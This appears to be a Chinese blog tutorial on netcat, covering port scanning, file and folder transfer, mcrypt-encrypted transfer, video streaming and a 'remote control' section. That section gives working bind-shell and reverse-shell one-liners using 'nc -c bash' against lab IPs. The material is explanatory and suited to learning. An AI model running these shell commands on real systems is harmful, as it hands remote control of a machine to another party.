netcat被称作是网络工具当中的瑞士军刀,短小却功能强大

1.端口扫描

nc -nvz 目标IP 端口范围

eg:

nc -nvz 192.168.1.105 1-65535

-n参数是不要使用DNS反向查询IP地址对应的域名,会影响速度

-v参数是输出详细信息

-z参数是不进行数据交换,仅仅知道端口开放就行

也可以加上-u参数,以udp探测

2.传输文本信息

A:
nc -lp 端口
B:
nc -nv A的IP 端口

eg:

A:
nc -lp 3333
B:
nc -nv 192.168.1.105 3333

-l是监听

-p指定本地端口

3.传输文件

从A到B
A:
nc -lp 端口 < 文件 -q 1
B:
nc -nv A的IP 端口 > 文件

eg:

A:
nc -lp 3333 < 1.txt -q 1
B:
nc -nv 192.168.1.105 3333 > 1.txt
从B到A
A:
nc -lp 端口 > 文件
B:
nc -nv A的IP 端口 < 文件 -q 1

eg:

A:
nc -lp 3333 > 1.txt
B:
nc -nv 192.168.1.105 3333 < 1.txt -q 1

-q 1 代表传输完文件之后等待1秒钟关闭连接

4.传输文件夹

从A到B
A:
tar -cvf- 文件夹 | nc -lp 端口 -q 1
B:
nc -nv A的IP 端口 | tar -xvf-

eg:

A:
tar -cvf- py | nc -lp 3333 -q 1
B:
nc -nv A的IP 端口 | tar -xvf-
从B到A
A:
nc -lp 端口 | tar -xvf-
B:
tar -cvf- 文件夹 | nc -nv A的IP 端口 -q 1

eg:

A:
nc -lp 3333 | tar -xvf-
B:
tar -cvf- test | nc -nv 192.168.1.104 3333 -q 1

原理是发送端将文件夹压缩传输,接收端将文件夹还原接收

5.加密传输文件

要在kali里面安装mcrypt

apt-get install mcrypt
从A到B
A:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 文件 | nc -lp 端口 -q 1
B:
nc -nv A的IP 端口 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 文件

eg:

A:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.txt | nc -lp 3333 -q 1
B:
nc -nv 192.168.1.104 3333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.txt
从B到A
A:
nc -lp 端口 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 文件
B:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 文件 | nc -nv A的IP 端口
-q 1

eg:

A:
nc -lp 3333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.txt
B:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < 1.txt | nc -nv 192.168.1.104 3333 -q 1

连接成功以后输入相同的秘钥就Ok了

6.流媒体

安装mplayer

apt-get install mplayer
A到B
A:
cat 视频 | nc -lp 端口
B:
nc -nv A的IP 端口 | mplayer -vo x11 -cache 1000 -

eg:

A:
cat 1.flv | nc -lp 3333
B:
nc -nv 192.168.1.104 3333 | mplayer -vo x11 -cache 1000 -
B到A:
A:
nc -lp 端口 | mplayer -vo x11 -cache 缓存 -
B:
cat 视频 | nc -nv A的IP 端口

eg:

A:
nc -lp 3333 | mplayer -vo x11 -cache 1000 -
B:
cat 1.flv | nc -nv 192.168.1.104 3333

-vo是选择输出模式

-cache是缓存大小

7.克隆设备

本人没用过这个功能…就不说了

8.远程控制

正向
A:
nc -lp 端口 -c bash
B:
nc -nv A的IP 端口

eg:

A:
nc -lp 3333 -c bash
B:
nc -nv 192.168.1.104 3333
反向
A:
nc -lp 端口
B:
nc -nv A的IP 端口 -c bash

A:
nc -lp 3333
B:
nc -nv 192.168.1.104 3333 -c bash

-c是使用命令行,如果是Windows主机,需要把bash改成cmd

正向是A被控制,反向是B被控制

9.telnet

nc -nv 目标IP 端口

eg:

nc -nv 192.168.0.108 80

然后可以交互式输入,例如输入head敲回车,会返回网页的头

 
 

最新文章

  1. C# 词法分析器(五)转换 DFA
  2. Python数据类型之“集合(Sets)与映射(Mapping)”
  3. 【Hadoop代码笔记】通过JobClient对Jobtracker的调用详细了解Hadoop RPC
  4. 【新手--android日记】实现IOS风格电话界面
  5. C++之继承和动态内存分配
  6. CRC32 vs Java.HashCode
  7. BZOJ 3438: 小M的作物( 最小割 )
  8. PB导出规定格式DBF文件
  9. C#推送RTMP到SRS通过VLC进行取流播放!!
  10. SqlSessionFactoryBuilder、SqlSessionFactory、SqlSession作用域(Scope)和生命周期
  11. SQL三类语句
  12. 给资源文件添加指纹(Gulp版)
  13. HDU2859 Phalanx (动态规划)
  14. H5外包团队 MUI文档技术资料大全
  15. STL 小白学习(7) list
  16. linux虚拟机时间同步
  17. 痞子衡嵌入式:忘掉cmd.exe吧!选用优雅的控制台终端(ConsoleZ)
  18. Android开发中,系统是如何区分不同的App的(转自csdn)
  19. NOI 4978 宠物小精灵之收服(二维背包)
  20. python读取文本txt文件乱码问题

热门文章

  1. DB数据源之SpringBoot+MyBatis踏坑过程(四)没有使用连接池的后果
  2. hdu_4135_Co-prime
  3. php.ini修改后,重启无效
  4. 3D立方体
  5. 6、core dump 故障分析
  6. linux内核中的IS_ERR()、PTR_ERR()、ERR_PTR()
  7. Python学习手册之捕获组和特殊匹配字符串
  8. Flask基本介绍
  9. Python3爬虫(十七) Scrapy框架(一)
  10. vuejs中使用v-model对表单数据的收集